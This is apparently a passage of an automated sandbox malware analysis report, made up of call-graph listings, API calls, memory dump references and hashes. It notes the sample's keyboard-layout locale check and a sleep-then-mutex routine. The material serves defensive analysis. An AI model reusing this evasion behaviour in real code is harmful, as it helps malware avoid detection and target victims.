b264c7 12970->12976 12974 b2a671 __cftof GetPEB ExitProcess GetPEB RtlAllocateHeap 12973->12974 12975 b2d630 12974->12975 12975->12967 12977 b264d5 __cftof 12976->12977 12978 b26520 12977->12978 12979 b2652b __cftof GetPEB ExitProcess GetPEB 12977->12979 12980 b2652a 12979->12980 12982 b2f5b7 __cftof 12981->12982 12983 b2a671 __cftof 4 API calls 12982->12983 12984 b2f5c0 __cftof 12983->12984 12985 b2f606 12984->12985 12986 b28bec __cftof 4 API calls 12984->12986 12985->12939 12987 b2f62b 12986->12987 12989 b2a671 __cftof 4 API calls 12988->12989 12990 b2e6bb 12989->12990 12993 b2e5c9 12990->12993 12992 b2e6c1 12992->12943 12996 b2e5d5 __cftof ___free_lconv_mon 12993->12996 12994 b2e5f6 12994->12992 12995 b28bec __cftof 4 API calls 12997 b2e668 12995->12997 12996->12994 12996->12995 12998 b2e6a4 12997->12998 13002 b2a72e 12997->13002 12998->12992 13003 b2a739 __cftof 13002->13003 13004 b2d82f __cftof RtlAllocateHeap 13003->13004 13008 b2a745 __cftof ___free_lconv_mon 13003->13008 13004->13008 13005 b28bec __cftof GetPEB ExitProcess GetPEB RtlAllocateHeap 13006 b2a7c7 13005->13006 13007 b2a7be 13009 b2e4b0 13007->13009 13008->13005 13008->13007 13010 b2e5c9 __cftof GetPEB ExitProcess GetPEB RtlAllocateHeap 13009->13010 13011 b2e4c3 13010->13011 13012 b2e259 __cftof GetPEB ExitProcess GetPEB RtlAllocateHeap 13011->13012 13013 b2e4cb __cftof 13012->13013 13014 b2e6c4 __cftof GetPEB ExitProcess GetPEB RtlAllocateHeap 13013->13014 13015 b2e4dc __cftof ___free_lconv_mon 13013->13015 13014->13015 13015->12998 13017 b2690a __cftof 4 API calls 13016->13017 13019 b2b6be 13017->13019 13018 b2b6ce std::invalid_argument::invalid_argument 13018->12930 13019->13018 13026 b2f1bf 13019->13026 13022 b2a671 __cftof 4 API calls 13021->13022 13023 b2b688 13022->13023 13024 b2b5fb __cftof 4 API calls 13023->13024 13025 b2b698 13024->13025 13025->12930 13027 b2690a __cftof 4 API calls 13026->13027 13028 b2f1df __cftof __fassign __freea std::invalid_argument::invalid_argument 13027->13028 13028->13018 13030 b2887a 13029->13030 13031 b2690a __cftof 4 API calls 13030->13031 13034 b2888f ___std_exception_copy 13030->13034 13033 b288bf 13031->13033 13032 b26d52 4 API calls 13032->13033 13033->13032 13033->13034 13034->12902 13549 af2b90 13550 af2bce 13549->13550 13551 b0b7fb TpReleaseWork 13550->13551 13552 af2bdb shared_ptr std::invalid_argument::invalid_argument 13551->13552 13806 af2b10 13807 af2b1c 13806->13807 13808 af2b1a 13806->13808 13809 b0c26a 5 API calls 13807->13809 13810 af2b22 13809->13810

                                                                                                                                                                                                                                                                                    Executed Functions

                                                                                                                                                                                                                                                                                    Function 00B2652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ExitProcess.KERNEL32(?,?,00B2652A,?,?,?,?,?,00B27661), ref: 00B26567
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ExitProcess
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 621844428-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 40deb0cefc318cc0a3bd8e5e6be15d8c3b51c49b7830c09a3fffca68782c890f
                                                                                                                                                                                                                                                                                    • Instruction ID: cbab8bf2b471667a4c479c5538daa43af333fc0c847c9a1f2285d35076673b9f
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 40deb0cefc318cc0a3bd8e5e6be15d8c3b51c49b7830c09a3fffca68782c890f
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DAE08C3115111CAFCF29BB19E80ED9C3BA9EF61741F000848F81C56222CB25DE82C690
                                                                                                                                                                                                                                                                                    Function 054E07AB Relevance: .1, Instructions: 117COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1727103140.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_54e0000_file.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                                    • Opcode ID: dd641aaff30b16c4513c58fe0e9be580bf8ca5b74b4742bfc7272083868fead7
                                                                                                                                                                                                                                                                                    • Instruction ID: 2535fc4b3a35dfe9c5f933214574de3e773fcbf32af6860c058c157b602d6db2
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: dd641aaff30b16c4513c58fe0e9be580bf8ca5b74b4742bfc7272083868fead7
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 36117CEB14C120FD7142C1422F5DAFAAB6FF5D6732330852BF86FD4902D2D90A9A6072
                                                                                                                                                                                                                                                                                    Function 00AF5C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
                                                                                                                                                                                                                                                                                    • API String ID: 0-3963862150
                                                                                                                                                                                                                                                                                    • Opcode ID: 4c9b2b8c3fe8e4e6a2e974b11c16cb7e4127e6e8197c736ae01b89cefe9cd2f3
                                                                                                                                                                                                                                                                                    • Instruction ID: 68bd448e626ca2bcc2469a98a38c3d8f7460042415c66a68a36fcc6b77c1465d
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4c9b2b8c3fe8e4e6a2e974b11c16cb7e4127e6e8197c736ae01b89cefe9cd2f3
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: CDF1C07090025C9BEB24DF64CC84BEEBBB9EF45304F5042E9F619A72C1DB749A84CB95
                                                                                                                                                                                                                                                                                    Function 00AF9BA5 Relevance: 3.1, APIs: 2, Instructions: 140sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 219 af9ba5-af9d91 call b07a00 call af5c10 call af8b30 call b08220
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064), ref: 00AFA963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1464230837-0
                                                                                                                                                                                                                                                                                    • Opcode ID: bd3fc4bcf8b239dfe60e696d72fa6e311855761dfb53443e8e10a4a34fdf6a39
                                                                                                                                                                                                                                                                                    • Instruction ID: f3df834a7d4c379685f5ef038cf563fc96150e7d3bc64379df8b63af6c433792
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: bd3fc4bcf8b239dfe60e696d72fa6e311855761dfb53443e8e10a4a34fdf6a39
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F43128717052088BEB089BF8DCC97FEBBE6EB96310F248259F1189B3D5C77689818751
                                                                                                                                                                                                                                                                                    Function 00AF9F44 Relevance: 3.1, APIs: 2, Instructions: 137sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 241 af9f44-af9f64 245 af9f66-af9f72 241->245 246 af9f92-af9fae 241->246 249 af9f88-af9f8f call b0d663 245->249 250 af9f74-af9f82 245->250 247 af9fdc-af9ffb 246->247 248 af9fb0-af9fbc 246->248 253 af9ffd-afa009 247->253 254 afa029-afa916 call b080c0 247->254 251 af9fbe-af9fcc 248->251 252 af9fd2-af9fd9 call b0d663 248->252 249->246 250->249 255 afa92b 250->255 251->252 251->255 252->247 261 afa01f-afa026 call b0d663 253->261 262 afa00b-afa019 253->262 257 afa953-afa994 Sleep CreateMutexA 255->257 258 afa92b call b26c6a 255->258 271 afa9a7-afa9a8 257->271 272 afa996-afa998 257->272 258->257 261->254 262->255 262->261 272->271 273 afa99a-afa9a5 272->273 273->271
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064), ref: 00AFA963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981
                                                                                                                                                                                                                                                                                    Memory Dump Source
